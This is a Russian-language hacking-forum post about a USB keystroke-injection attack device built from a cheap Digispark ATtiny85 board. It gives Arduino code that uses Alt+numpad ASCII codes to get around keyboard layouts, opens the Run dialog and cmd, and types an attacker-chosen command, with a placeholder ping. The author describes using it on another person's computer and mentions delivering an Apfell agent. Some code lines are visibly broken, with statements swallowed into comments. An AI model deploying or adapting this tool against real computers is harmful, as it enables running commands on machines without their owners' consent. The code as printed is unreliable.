Русский вариант атаки USB Rubber Ducky (Digispark ATtiny85 USB)

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
6,977
Реакции
34
Недавно появилась необходимость в атаке на комп с виндой 10-й методом USB Rubber Ducky. Ну про саму легендарную флешку с самого Hack5 слышал и читал не раз, но отвалить за нее 50 баксов жаба давила. Немного гугла, и вуаля - дешевый аналог Digispark ATtiny85 USB менее чем за 2 бакса. Взял несколько на пробу. Поставил Arduino IDE себе на ноут, настроил ее под ATtiny85, еще немного гугления, немного копипаста кода в Arduino IDE и у меня полноценный рабочий вариант USB Rubber Ducky, но практически в 25 раз дешевле. Проверил на своем компе - все супер. Немного тайминги подстроил под скорость ноута и ракета! Но моя ракета не взлетела на первом же тестовом устройстве. Я, как прогег, привык держать раскладку клавиатуры на латинице. А вот юзер, на чьем компе я проверил свой заряженный девайс - любил кирилицу, ну так же удобнее ему серфить в рунете. Да-а подумал я, проблема из воздуха, чисто русская. Так раскрученная в буржуйском сообществе атака USB Rubber Ducky не пройдет на первой же нелатинской раскладке. Не, ну вариант 2 флешки носить с собой тоже неплохой. На второй переключать раскладку сначала, а потом нажатия кнопок эмулировать. Только вот не перепутать бы флешки в самый ответственный момент). А если переключение раскладок не стандартное? Ну а если 3 раскладки? Тупик? Гугл ответа не дал. Крутил, вертел её… И решил - вспомнилось мне как еще в древние времена нестандартные ASCII символы на клаве творили с помощью цифрового блока (numpad) с зажатым Альтом. Вот и решение. Можно же просто эмулировать вместо обычных буквенных клавиш нажатие Alt+097 (a) … Alt+0122 (z). Осталось все реализовать на ардуиновском хардкорном Си. Не, я когда-то на Си++ писал конечно, но вот между Си и Си++ разницу словил только сейчас. Ниче, все переварил. Нерешенную проблему нашел на форуме у буржуев, на сайте digispark. Не вдаваясь в подробности, был ньюанс с повторяющимися цифро-клавишами в коде, например Alt+099. Нужно было не отпуская Альт, поднять и нажать повторно 9-ку. Немного покрутил - и нашел достойное рабочее решение. Заработало. Я упустил еще, что в процессе код нужно было оптимизировать так, что бы не ограничить количество вводимых символов необходимой для атаки командыс (память ATtiny85 очень небольшая). Вот строка запуска модуль Apfell’а, например, состоит от 215 символов. В нашем случае - каждый буквенный символ умножается на три. Вот тут и узкое горлышко - память ATtiny85.
Пока получил рабочий вариант, столкнулся с множеством непростых для себя задач, при решении которых получил немало удовольствия. И столько, что хватило терпения на этот пост. Уверен, что в узких кругах пригодится.

Код:
#include "DigiKeyboard.h"
#include "stdlib.h"
#include "stdio.h"
#define KEY_ESC ( 41 | 0xF000 )
#define KEY_F4 ( 61 | 0xF000 )

void pressNumPadKey (int intKey){
	if (intKey == 48) intKey+=50; else intKey+=40; // синхр key и char кодов (0=10) DigiKeyboard.sendKeyPress(intKey,MOD_ALT_LEFT);
	DigiKeyboard.delay(100);
	DigiKeyboard.sendKeyPress(0,MOD_ALT_LEFT);
	DigiKeyboard.delay(100);
}

void pressAsciiCode (char* inStr) { DigiKeyboard.sendKeyPress(0,0); for (int i=0; inStr[i] != '\0';i++){
	DigiKeyboard.delay(100);
	pressNumPadKey ((inStr[i])); //шлем нажатие }
	DigiKeyboard.sendKeyPress(0,0);
	DigiKeyboard.delay(100);
}
                                   
void sendAsciiCommand (char* inCmd){
	char outCode[5];
	for (int i=0; inCmd[i] != '\0';i++){
		sprintf(outCode, "0%d", inCmd[i]);
		pressAsciiCode(outCode);
    }
}
                                   
void setup() {
	//empty
}
                                   
void loop() {
	DigiKeyboard.delay(1000);
	DigiKeyboard.sendKeyStroke(0);
	DigiKeyboard.delay(500);
	DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // <- нажимаем Win+R DigiKeyboard.delay(500);
	DigiKeyboard.sendKeyStroke(0);
	DigiKeyboard.delay(1000); // <- пауза между нажатиями
	sendAsciiCommand ("cmd"); // <- запуск теринала
	DigiKeyboard.delay(500);
	DigiKeyboard.sendKeyStroke(KEY_ENTER); // <- нажатие Enter для подтверждения ввода DigiKeyboard.delay(500);
	sendAsciiCommand ("ping 1.1.1.1"); // <- команда команда атаки (заменить на свое) DigiKeyboard.delay(500);
	DigiKeyboard.sendKeyStroke(KEY_ENTER); // <- нажатие Enter для подтверждения ввода for(;;){ /*empty*/ }
}

Со слабыми системами можно повысить задержки между нажатиями (методом проб и ошибок).


P.S.:Ссылок на источники вдохновения не вставлял, думаю кому интересно - сам в гугле найдет, но если ошибаюсь, пишите - поделюсь.

Автор: luckyducky
 

Members, viewing this thread

Сейчас на форуме нет ни одного пользователя.